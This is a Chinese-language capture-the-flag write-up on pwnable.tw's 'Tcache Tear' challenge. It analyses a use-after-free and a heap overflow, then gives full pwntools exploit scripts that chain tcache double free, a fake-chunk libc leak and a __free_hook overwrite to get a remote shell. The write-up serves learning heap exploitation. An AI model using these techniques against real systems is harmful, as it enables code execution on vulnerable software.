和媳妇一起学Pwn 之 Tcache Tear

漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。

利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。再通过任意地址写,构造题目本身可读的一块内存为size大于tcache的fake chunk,然后free,使其进入unsorted bin,读取其内容即可泄露libc基址。进而再次利用任意地址写修改libc中可用的函数指针,最终getshell。

参考

检查

➜   file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped
➜   checksec tcache_tear
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

64位动态链接,去了符号表,GOT不可写。给了libc,检查其版本:

➜  strings libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Compiled by GNU CC version 7.3.0.

libc版本为2.27,加上题目名字为tcache,所以我们需要在本地使用libc2.27的ubuntu18.04来进行题目的调试,经过对比:

➜  diff ./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so /lib/x86_64-linux-gnu/libc-2.27.so

这里我们发现题目给的libc和我们本机18.04的libc完全相同,所以可以直接分析啦。

分析

运行发现是首先是输入一个名字,然后还是菜单,malloc,free和info,不过free并没有指定目标序号,还是IDA直接进行分析。这里注意,IDA分析出的main函数,并不意味着main这个函数符号没被去掉,可以发现gdb并无法对main函数打断,所以IDA分析出的main函数是从libc_start_main的参数推算出来的。分析后对以下函数重命名:

sub_400948 -> init_
sub_400A25 -> read_string
sub_400A9C -> menu
sub_4009C4 -> read_num
sub_400B99 -> info
sub_400B14 -> add
unk_602060 -> name

main

改名后主函数如下,可见程序会先读取用户输入最长0x20的字符串放到bss段,然后进入主循环,发现:

  • info是打印name的那个bss字段,固定输出0x20个字节
  • free函数的参数是一个固定在bss段的全局变量,而且free后没清零
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  init_();
  printf("Name:", a2);
  read_string((__int64)&name, 0x20u);
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = read_num();
      if ( v3 != 2 )
        break;
      if ( v4 <= 7 )
      {
        free(ptr);
        ++v4;
      }
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        info();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      add();
    }
  }
}

add

然后就add函数还有点内容了,可以任意申请大小小于0xff的堆块并填写内容,然后返回堆块地址到ptr这个bss段的全局变量上。所以可以发现,ptr这个变量只能保存最后一个申请的堆块的地址,即每当malloc被调用,ptr这个位置就会被写入新分配堆块的地址。

int add()
{
  unsigned __int64 v0; // rax
  int size; // [rsp+8h] [rbp-8h]

  printf("Size:");
  v0 = read_num();
  size = v0;
  if ( v0 <= 0xFF )
  {
    ptr = malloc(v0);
    printf("Data:");
    read_string((__int64)ptr, size - 16);
    LODWORD(v0) = puts("Done !");
  }
  return v0;
}

漏洞点

这个题目的第一个漏洞点:在free后,没有对指针进行清零,导致存在悬空指针。一个堆块可以free多次,存在UAF。

if ( v4 <= 7 )
{
free(ptr);
++v4;
}

第二个漏洞点:在add函数中,malloc后使用read_string函数进行输入的参数为size - 16,如果size为小于16的正数,得到的结果被转换为无符号整数参数就可以读入大于堆块size的数据,导致堆溢出:

v0 = read_num();
size = v0;
if ( v0 <= 0xFF )
{
  ptr = malloc(v0);
  printf("Data:");
  read_string((__int64)ptr, size - 16);
  LODWORD(v0) = puts("Done !");
}

不过第二个漏洞点在以下的解法中没有用到,可以进行如下调试以确定这个堆溢出:

➜  gdb -q ./tcache_tear
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./tcache_tear...(no debugging symbols found)...done.
gef➤  r
Starting program: /mnt/hgfs/pwn/pwnable/TcacheTear/tcache_tear 
Name:123
$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :1
Size:1
Data:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Done !
$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x0               
$rcx   : 0x00007ffff7b16e69  →  0x0777fffff0003d48 ("H="?)
$rdx   : 0x17              
$rsp   : 0x00007fffffffdea8  →  0x00000000004009fb  →   lea rax, [rbp-0x20]
$rbp   : 0x00007fffffffdee0  →  0x00007fffffffdf00  →  0x0000000000400c90  →   push r15
$rsi   : 0x00007fffffffdec0  →  0x00007fffffffdee0  →  0x00007fffffffdf00  →  0x0000000000400c90  →   push r15
$rdi   : 0x0               
$rip   : 0x00007ffff7b16e69  →  0x0777fffff0003d48 ("H="?)
$r8    : 0xd               
$r9    : 0x0               
$r10   : 0x0000000000603010  →  0x0000000000000000
$r11   : 0x246             
$r12   : 0x0000000000400840  →   xor ebp, ebp
$r13   : 0x00007fffffffdfe0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdea8│+0x0000: 0x00000000004009fb  →   lea rax, [rbp-0x20]	 ← $rsp
0x00007fffffffdeb0│+0x0008: 0x00007fffffffdee0  →  0x00007fffffffdf00  →  0x0000000000400c90  →   push r15
0x00007fffffffdeb8│+0x0010: 0x0000000000000000
0x00007fffffffdec0│+0x0018: 0x00007fffffffdee0  →  0x00007fffffffdf00  →  0x0000000000400c90  →   push r15	 ← $rsi
0x00007fffffffdec8│+0x0020: 0x0000000000400840  →   xor ebp, ebp
0x00007fffffffded0│+0x0028: 0x00007fffffffdfe0  →  0x0000000000000001
0x00007fffffffded8│+0x0030: 0xd1416895c4898a00
0x00007fffffffdee0│+0x0038: 0x00007fffffffdf00  →  0x0000000000400c90  →   push r15	 ← $rbp
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7b16e62 <__read_chk+2>   retf   0x2777
   0x7ffff7b16e65 <__read_chk+5>   xor    eax, eax
   0x7ffff7b16e67 <__read_chk+7>   syscall 
 → 0x7ffff7b16e69 <__read_chk+9>   cmp    rax, 0xfffffffffffff000
   0x7ffff7b16e6f <__read_chk+15>  ja     0x7ffff7b16e78 <__read_chk+24>
   0x7ffff7b16e71 <__read_chk+17>  repz   ret
   0x7ffff7b16e73 <__read_chk+19>  nop    DWORD PTR [rax+rax*1+0x0]
   0x7ffff7b16e78 <__read_chk+24>  mov    rdx, QWORD PTR [rip+0x2b7fe9]       
   0x7ffff7b16e7f <__read_chk+31>  neg    eax
─────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "tcache_tear", stopped 0x7ffff7b16e69 in __read_chk (), reason: SIGINT
───────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7b16e69 → __read_chk(fd=0x0, buf=0x7fffffffdec0, nbytes=0x17, buflen=<optimized out>)
[#1] 0x4009fb → lea rax, [rbp-0x20]
[#2] 0x400c16 → cmp rax, 0x2
[#3] 0x7ffff7a05b97 → __libc_start_main(main=0x400bc7, argc=0x1, argv=0x7fffffffdfe8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdfd8)
[#4] 0x40086a → hlt 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00007ffff7b16e69 in __read_chk (fd=0x0, buf=0x7fffffffdec0, nbytes=0x17, buflen=<optimized out>) at read_chk.c:33
33	read_chk.c: No such file or directory.
gef➤  heap chunks
Chunk(addr=0x603010, size=0x250, flags=PREV_INUSE)
    [0x0000000000603010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603260, size=0x20, flags=PREV_INUSE)
    [0x0000000000603260     31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31    1111111111111111]
Chunk(addr=0x603280, size=0x3131313131313130, flags=PREV_INUSE)  ←  top chunk
gef➤  

可见,top chunk的size的确被覆盖了。

利用

利用首先需要了解tcache的基本知识,简单的来说,tcache就是为了追求效率,实现的一个更简单,更没啥校验,更大的fastbin。以下为ctf-wiki的参考文章:

tcache dup构造任意地址写

本题中,我们可以对同一个堆块free两次,在fastbin attack中这事叫double free,不过在fastbin中是有限制的,我们不能直接对一个堆块连续free两次。但是在libc2.27的tcache机制中是可以的,所以我们在构造fastbin的double free的完成任意地址写任意数据的序列,如在Write Some Paper (大小姐教我入门堆)中的利用序列:

a = malloc(0x20)
b = malloc(0x20)

free(a);
free(b);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20)
malloc(0x20,data)

就可以简化为:

a = malloc(0x20);

free(a);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20,data)

故尝试如下,利用tcache dup去修改我们初始的名字:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./tcache_tear")
io =  process(myelf.path)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to modify name
name_bss = 0x602060
init('xuan')
aaw(0x50,name_bss,'admin')
info()
io.interactive()

这里调用aaw时,第一个参数为使用的tcache的哪条链,调用时如果重复使用一条链将会出错,原因参考:ama2in9的wp:Tcache Tear,所以这里我们其实只能任意地址写17次,即申请小于0xff的堆块,只能占用17条tcache的链。运行脚本可以发现已经打印出了admin,为我们修改后的名字,证明了我们已经实现了任意地址写任意值。到这里,攻击者已经拿到了一个很强的能力,接下来就是要找到能控制程序流的内存数据,然后修改掉。我们一般有如下选择:

  • 程序自己实现的函数指针
  • GOT表
  • fini_array段函数指针
  • libc中的函数指针

不过我们发现:

  • 程序自己没有什么函数指针
  • GOT表不可写
  • main函数是个死循环,不会返回到libc_start_main,进而执行到fini_array段注册的函数

故只好泄露libc基址,进而去修改libc中可以被调用的函数指针

构造伪堆块泄露libc

tcache泄露libc常规办法

我们现在有任意地址写的能力,但是我们读的能力比较差。本题除了任意地址写,我们还有最开始获得这个能力的初始能力,即对堆块的一系列操作。所以我们可以结合这两个能力,完成libc的泄露。思路和hacknote那题很像,libc的地址信息可以通过堆管理器的双向链表的机制进行泄露,我们只要把堆块想办法搞到unsorted bin这种双向链表里,在想办法读到堆块的数据即可。绕过tcache使得堆块free后进入unsorted bin的方式通常有两种:

  1. 每个tcache链上默认最多包含7个块,再次free这个大小的堆块将会进入其他bin中,例如tcache_attack/libc-leak
  2. 默认情况下,tcache中的单链表个数是64个,64位下可容纳的最大内存块大小是1032(0x408),故只要申请一个size大于0x408的堆块,然后free即可

但是本题均无法直接做到:

  1. 在free处做了限制,最多free七次,无法填满tcache的一条单链
  2. 在add函数中,无法申请大于0xff的堆块

house of spirit

不过以上两种办法均需要对free后的堆块进行读取,而本题中我们只能读取到bss段的name部分,所以想到:

  1. 利用任意地址写,在bss段构造大小超出0x408的伪堆块
  2. 然后free掉,使其进入unsorted bin中
  3. 利用info函数,读取其内容即可

这个构造伪堆块然后free的思路就叫:house of spirit,不过这个一般利用在,free前我们能控制部分关键的内存并可以构造伪堆块,free后接着malloc进行完整堆块内存的控制,目的一般是扩大内存控制范围。

本题情景略有不同,我们已经拥有了任意地址写的能力,我们是借助任意地址写构造伪堆块,大小超过tcache容纳范围,使其在free时绕过tcache机制直接进入unsorted bin,然后读取。但如何构造一个堆块才能使其free后进入unsorted bin呢?除了要伪造的size要大于0x408,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块。因为在free时,会对当前的堆块后面的堆块进行一系列检查:

https://github.com/lattera/glibc/blob/master/malloc/malloc.c

// 在 _int_free 函数中
if (nextchunk != av->top) {
  /* get and clear inuse bit */
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。如图:

                        bss

name  +------------> +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x501 |
ptr   +------------> +--------+
                     |        |
free(ptr);           |        |
                     |        |  fake chunk 1
                     |        |
                     |        |
                     |        |
                     |        |
                     |        |
                     |        |
name + 0x500  +----> +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x21  |
                     +--------+  fake chunk 2
                     |   0    |
                     +--------+
                     |   0    |
                     +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x21  |
                     +--------+  fake chunk 3
                     |   0    |
                     +--------+
                     |   0    |
                     +--------+ +------------+
    

而且我们最后free的时候需要的指针是name+0x10位置处的数据部分指针,这样才能正确的free掉这个堆块,所以我们使用如下策略(当然还可以使用其他策略):

  1. 在最开始输入name时,直接构造好chunk1的前16个字节
  2. 然后利用任意地址写构造name+0x500的后两个伪堆块
  3. 再次利用任意地址写,向name+0x10写任意数据,目的是执行完最后一个malloc,ptr全局变量会被更新为name+0x10
  4. free即可将这个堆块送入unsorted bin中
  5. 使用info函数读取name前0x20字节的内容,即可泄露unsorted bin地址
  6. 经过本地调试unsorted bin距离libc基址的偏移为0x3ebca0
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./tcache_tear")
io =  process(myelf.path)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :"); io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
log.warn("libc:0x%x"%libc_addr)
io.interactive()

这里采用:io.recvuntil("Name :"); io.recv(0x10),而不直接采用:io.recv(0x16)的原因是,Name :这6个字符和后面的内容是两条语句打印,在远程攻击的时候可能会出现数据先后到达延迟的io问题。至此我们已经成功的泄露libc基址,可以自行gdb调试对比vmmap中的libc基址进行检查。

控制流劫持

libc中有很多可以利用的函数指针,比如在清华校赛THUCTF2019 之 warmup题目中,就可以间接的去控制fork函数中的一个函数指针从而控制流劫持。在堆的题目中常用的函数是__free_hook__malloc_hook,这俩函数名为啥这么奇怪呢?我们还要从malloc和free的实现说起:

libc中的钩子函数

在malloc和free的函数的开始部分,都会去判断是否有相应的钩子函数:

// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
    mstate ar_ptr;
    void * victim;
    // 检查是否有内存分配钩子,如果有,调用钩子并返回.
    void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
    if (__builtin_expect(hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS(0));
...
}
// wapper for int_free
void __libc_free(void *mem) {
    mstate    ar_ptr;
    mchunkptr p; /* chunk corresponding to mem */
    // 判断是否有钩子函数 __free_hook
    void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
    if (__builtin_expect(hook != NULL, 0)) {
        (*hook)(mem, RETURN_ADDRESS(0));
        return;
    }
...
}

这是用来方便用户自定义自己的malloc和free函数,用法参考:malloc hook初探

void (*__malloc_initialize_hook) (void) = my_init_hook;
__malloc_hook = my_malloc_hook;
__free_hook = my_free_hook;

直接利用这种赋值语句,就可以直接给libc中的对应变量赋值,因为这几个符号都是libc所导出的。看到这我突然明白一点,使用动态库的方式不仅仅是可以调用函数,还可以直接对其中暴露出来的变量进行赋值。即动态库除了给我们暴露出函数接口以外还可以暴露出变量接口。当然我认为这个用途一般并不是让用户自己去重写malloc和free,而是让用户能在malloc和free前自动的做一些事情,以便于进行一些测试什么的。那还有没有其他的hook函数呢?

➜  strings libc2.27.so | grep hook
__malloc_initialize_hook
_dl_open_hook
argp_program_version_hook
__after_morecore_hook
__memalign_hook
__malloc_hook
__free_hook
_dl_open_hook2
__realloc_hook

这些可能都是未来的利用目标呀!

利用__free_hook

本题我们利用__free_hook来完成控制流劫持,因为我们可以执行free函数,即可以触发到相应的函数指针,并且方便控制参数:

if ( v4 <= 7 )
{
  free(ptr);
  ++v4;
}

ptr参数可以通过malloc直接控制,所以接下来有两种方法:

  1. 直接劫持__free_hook到one_gadget
  2. 劫持__free_hook到system函数,并再次malloc控制ptr指向/bin/sh等字符串

找到以下one_gadget地址,测试第二个可用:

➜  one_gadget libc2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

完整exp

最终完整exp采用第二种方法劫持控制流:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
mylibc = ELF("./libc2.27.so")
io =  remote("chall.pwnable.tw",10207)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :");io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
free_hook = libc_addr + mylibc.symbols['__free_hook']
system    = libc_addr + mylibc.symbols['system']

# use aaw to modify __free_hook to system
aaw(0x70,free_hook,p64(system))
malloc(0x80,"$0\x00")

# call free to getshell
free()
io.interactive()

思考

如果把这到题目放在2.23版本的libc下应该怎么做呢?